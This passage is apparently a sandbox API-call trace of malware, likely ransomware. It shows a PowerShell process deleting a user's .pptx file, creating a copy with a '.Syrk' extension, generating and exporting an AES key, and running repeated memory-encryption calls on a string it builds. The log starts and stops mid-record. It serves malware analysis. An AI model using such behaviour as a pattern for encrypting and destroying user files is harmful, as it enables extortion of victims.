ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0229.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0229.082] CoTaskMemAlloc (cb=0x404) returned 0x5c9a950 [0229.082] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c9a950, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0229.082] CoTaskMemFree (pv=0x5c9a950) [0229.084] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 0x20 [0229.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x29 [0229.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", nBufferLength=0x29, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx", lpFilePart=0x0) returned 0x28 [0229.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0229.085] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx"), fInfoLevelId=0x0, lpFileInformation=0x24f624c | out: lpFileInformation=0x24f624c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554e5220, ftCreationTime.dwHighDateTime=0x1d961a3, ftLastAccessTime.dwLowDateTime=0xc7389280, ftLastAccessTime.dwHighDateTime=0x1d9634f, ftLastWriteTime.dwLowDateTime=0xc7389280, ftLastWriteTime.dwHighDateTime=0x1d9634f, nFileSizeHigh=0x0, nFileSizeLow=0x11fec)) returned 1 [0229.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0229.085] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx")) returned 1 [0229.089] EtwEventActivityIdControl () returned 0x0 [0229.089] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.089] EtwEventActivityIdControl () returned 0x0 [0229.090] EtwEventActivityIdControl () returned 0x0 [0229.090] EtwEventActivityIdControl () returned 0x0 [0229.097] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx.syrk")) returned 0x20 [0229.098] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx.syrk")) returned 0x20 [0229.098] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0229.098] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk", lpFilePart=0x0) returned 0x2d [0229.099] EtwEventActivityIdControl () returned 0x0 [0229.099] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.099] EtwEventActivityIdControl () returned 0x0 [0229.099] EtwEventActivityIdControl () returned 0x0 [0229.099] EtwEventActivityIdControl () returned 0x0 [0229.104] EtwEventActivityIdControl () returned 0x0 [0229.104] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.105] EtwEventActivityIdControl () returned 0x0 [0229.105] EtwEventActivityIdControl () returned 0x0 [0229.105] EtwEventActivityIdControl () returned 0x0 [0229.108] EtwEventActivityIdControl () returned 0x0 [0229.109] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.109] EtwEventActivityIdControl () returned 0x0 [0229.109] EtwEventActivityIdControl () returned 0x0 [0229.109] EtwEventActivityIdControl () returned 0x0 [0229.184] EtwEventActivityIdControl () returned 0x0 [0229.184] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.184] EtwEventActivityIdControl () returned 0x0 [0229.184] EtwEventActivityIdControl () returned 0x0 [0229.184] EtwEventActivityIdControl () returned 0x0 [0229.188] EtwEventActivityIdControl () returned 0x0 [0229.188] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.189] EtwEventActivityIdControl () returned 0x0 [0229.189] EtwEventActivityIdControl () returned 0x0 [0229.189] EtwEventActivityIdControl () returned 0x0 [0229.192] EtwEventActivityIdControl () returned 0x0 [0229.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0229.197] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\hiQyDV.pptx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\hiqydv.pptx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24ff604 | out: lpFileInformation=0x24ff604*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4782ee0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x4782ee0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x47a9040, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x12004)) returned 1 [0229.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0229.199] GetConsoleOutputCP () returned 0x1b5 [0229.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.199] GetConsoleOutputCP () returned 0x1b5 [0229.199] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.199] GetConsoleOutputCP () returned 0x1b5 [0229.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.200] GetConsoleOutputCP () returned 0x1b5 [0229.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.200] GetConsoleOutputCP () returned 0x1b5 [0229.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.200] GetConsoleOutputCP () returned 0x1b5 [0229.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.200] GetConsoleOutputCP () returned 0x1b5 [0229.200] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.200] GetConsoleOutputCP () returned 0x1b5 [0229.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.201] GetConsoleOutputCP () returned 0x1b5 [0229.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.201] GetConsoleOutputCP () returned 0x1b5 [0229.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.201] GetConsoleOutputCP () returned 0x1b5 [0229.201] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.201] GetConsoleOutputCP () returned 0x1b5 [0229.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.202] GetConsoleOutputCP () returned 0x1b5 [0229.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0229.202] GetConsoleOutputCP () returned 0x1b5 [0229.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0229.202] GetConsoleOutputCP () returned 0x1b5 [0229.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.202] GetConsoleOutputCP () returned 0x1b5 [0229.202] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0229.202] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0229.203] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0229.203] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25191e4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x25191e4*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0229.204] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0229.204] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0229.293] EtwEventActivityIdControl () returned 0x0 [0229.293] EtwEventActivityIdControl () returned 0x0 [0229.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.294] EtwEventActivityIdControl () returned 0x0 [0229.295] EtwEventActivityIdControl () returned 0x0 [0229.295] EtwEventActivityIdControl () returned 0x0 [0229.297] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.297] EtwEventActivityIdControl () returned 0x0 [0229.297] EtwEventActivityIdControl () returned 0x0 [0229.298] EtwEventActivityIdControl () returned 0x0 [0229.300] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4cd48) returned 1 [0229.302] CryptGenKey (in: hProv=0x5c4cd48, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99660) returned 1 [0229.302] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0229.302] CryptExportKey (in: hKey=0x5c99660, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0229.302] CryptExportKey (in: hKey=0x5c99660, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2520bbc, pdwDataLen=0x5a2e8c4 | out: pbData=0x2520bbc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0229.303] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0229.303] EtwEventActivityIdControl () returned 0x0 [0229.303] EtwEventActivityIdControl () returned 0x0 [0229.304] EtwEventActivityIdControl () returned 0x0 [0229.305] SysStringLen (param_1="") returned 0x8 [0229.305] SysStringLen (param_1="w") returned 0x8 [0229.305] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.305] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0229.306] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0229.306] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.306] SysStringLen (param_1="wO") returned 0x8 [0229.306] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.306] SysStringLen (param_1="絉➣᳛ᇘ㥺隷ᶛ") returned 0x8 [0229.306] SysStringLen (param_1="絉➣᳛ᇘ㥺隷ᶛ") returned 0x8 [0229.306] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.306] SysStringLen (param_1="wOr") returned 0x8 [0229.306] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.306] SysStringLen (param_1="雁厪苾⃁섰⪀֜ꓝ") returned 0x8 [0229.306] SysStringLen (param_1="雁厪苾⃁섰⪀֜ꓝ") returned 0x8 [0229.306] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.307] SysStringLen (param_1="wOrb") returned 0x8 [0229.307] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.307] SysStringLen (param_1="⿀륐䮸д煻涜熪") returned 0x8 [0229.307] SysStringLen (param_1="⿀륐䮸д煻涜熪") returned 0x8 [0229.307] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.307] SysStringLen (param_1="wOrbz") returned 0x8 [0229.307] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.307] SysStringLen (param_1="煉큗懶뛈\ᗞ뀣⋏) returned 0x8 [0229.307] SysStringLen (param_1="煉큗懶뛈\ᗞ뀣⋏) returned 0x8 [0229.307] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.308] SysStringLen (param_1="wOrbz2") returned 0x8 [0229.308] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.308] SysStringLen (param_1="㤄忞䨿茪碀鉽逬譤") returned 0x8 [0229.308] SysStringLen (param_1="㤄忞䨿茪碀鉽逬譤") returned 0x8 [0229.308] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.308] SysStringLen (param_1="wOrbz2H") returned 0x8 [0229.308] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.308] SysStringLen (param_1="ᇫ냊ﯚ貏밉㍯겶緀") returned 0x8 [0229.308] SysStringLen (param_1="ᇫ냊ﯚ貏밉㍯겶緀") returned 0x8 [0229.308] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.308] SysStringLen (param_1="wOrbz2Hj") returned 0x8 [0229.308] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.309] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽") returned 0x8 [0229.309] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽") returned 0x8 [0229.309] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽") returned 0x8 [0229.310] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽") returned 0x10 [0229.310] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.310] SysStringLen (param_1="wOrbz2Hjs單櫩Ⓦ㟹厤뜩ņ") returned 0x10 [0229.310] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.310] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽閂쳛\೚霢䰁넨馴≔) returned 0x10 [0229.310] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽閂쳛\೚霢䰁넨馴≔) returned 0x10 [0229.310] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.310] SysStringLen (param_1="wOrbz2Hjsi櫩Ⓦ㟹厤뜩ņ") returned 0x10 [0229.310] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.310] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽\쇙먫霶㌑৐착⋧) returned 0x10 [0229.310] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽\쇙먫霶㌑৐착⋧) returned 0x10 [0229.311] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.311] SysStringLen (param_1="wOrbz2HjsiLⓌ㟹厤뜩ņ") returned 0x10 [0229.311] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.311] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽렜렝䫬槇馿匴呴") returned 0x10 [0229.311] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽렜렝䫬槇馿匴呴") returned 0x10 [0229.311] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.311] SysStringLen (param_1="wOrbz2HjsiLa㟹厤뜩ņ") returned 0x10 [0229.311] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.311] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊻ⪉陂쒕ݔ翴蹥၀") returned 0x10 [0229.311] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊻ⪉陂쒕ݔ翴蹥၀") returned 0x10 [0229.311] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.312] SysStringLen (param_1="wOrbz2HjsiLaB厤뜩ņ") returned 0x10 [0229.312] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.312] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽樟耲牺嘫Ⱔ㓀᫿") returned 0x10 [0229.312] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽樟耲牺嘫Ⱔ㓀᫿") returned 0x10 [0229.312] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.312] SysStringLen (param_1="wOrbz2HjsiLaBJ뜩ņ") returned 0x10 [0229.312] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.312] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ᢣ눛䒗裺媛\쿜௾⋑) returned 0x10 [0229.312] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ᢣ눛䒗裺媛\쿜௾⋑) returned 0x10 [0229.312] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.312] SysStringLen (param_1="wOrbz2HjsiLaBJPņ") returned 0x10 [0229.312] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.313] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽㔀಑䟔鈺\懝年〚⊃) returned 0x10 [0229.313] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽㔀಑䟔鈺\懝年〚⊃) returned 0x10 [0229.313] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.313] SysStringLen (param_1="wOrbz2HjsiLaBJPw") returned 0x10 [0229.313] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.313] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟") returned 0x10 [0229.313] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟") returned 0x10 [0229.313] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟") returned 0x10 [0229.314] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟") returned 0x18 [0229.314] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.314] SysStringLen (param_1="wOrbz2HjsiLaBJPwM῔暼䀐⊎⒰ᑺ뜤") returned 0x18 [0229.314] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.314] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟ᔝ뽐ﵵ蝺栝") returned 0x18 [0229.314] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟ᔝ뽐ﵵ蝺栝") returned 0x18 [0229.314] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.314] SysStringLen (param_1="wOrbz2HjsiLaBJPwMD暼䀐⊎⒰ᑺ뜤") returned 0x18 [0229.315] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.315] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟ꤤᝆ誗න똏邗⒩苪") returned 0x18 [0229.315] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟ꤤᝆ誗න똏邗⒩苪") returned 0x18 [0229.315] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.315] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDF䀐⊎⒰ᑺ뜤") returned 0x18 [0229.315] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.315] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟멊∍⁅嫀胨釀ﶈ\⋛) returned 0x18 [0229.315] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟멊∍⁅嫀胨釀ﶈ\⋛) returned 0x18 [0229.315] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.315] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP⊎⒰ᑺ뜤") returned 0x18 [0229.315] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.316] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟鰺᥷￩ꯩꃜ撓ﱷ㏈") returned 0x18 [0229.316] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟鰺᥷￩ꯩꃜ撓ﱷ㏈") returned 0x18 [0229.316] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.316] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/⒰ᑺ뜤") returned 0x18 [0229.316] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.316] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟☔ÌᏏ\ۘǶ韻჎⊒) returned 0x18 [0229.316] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟☔ÌᏏ\ۘǶ韻჎⊒) returned 0x18 [0229.316] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.316] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tᑺ뜤") returned 0x18 [0229.316] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.316] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟▴뿫뻀⮝\叜查∶) returned 0x18 [0229.316] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟▴뿫뻀⮝\叜查∶) returned 0x18 [0229.316] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.317] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tl뜤") returned 0x18 [0229.317] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.317] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟\쳜븰ᐶ퍞\뷙ܮ") returned 0x18 [0229.317] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟\쳜븰ᐶ퍞\뷙ܮ") returned 0x18 [0229.317] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.317] SysStringLen (param_1="wOrbz2HjsiLaBJPwMDFP/tlV") returned 0x18 [0229.317] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.317] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ≍) returned 0x18 [0229.317] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ≍) returned 0x18 [0229.317] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ≍) returned 0x18 [0229.318] SysStringLen (param_1="⋍活ᶀ鸂밖쑚챽ꊠ❁ᇕ﫞ꥡ鋏有稟酲啄뗕仰涟\˜ﭛ≍) returned 0x20 [0229.318] SystemFunction041 (in: 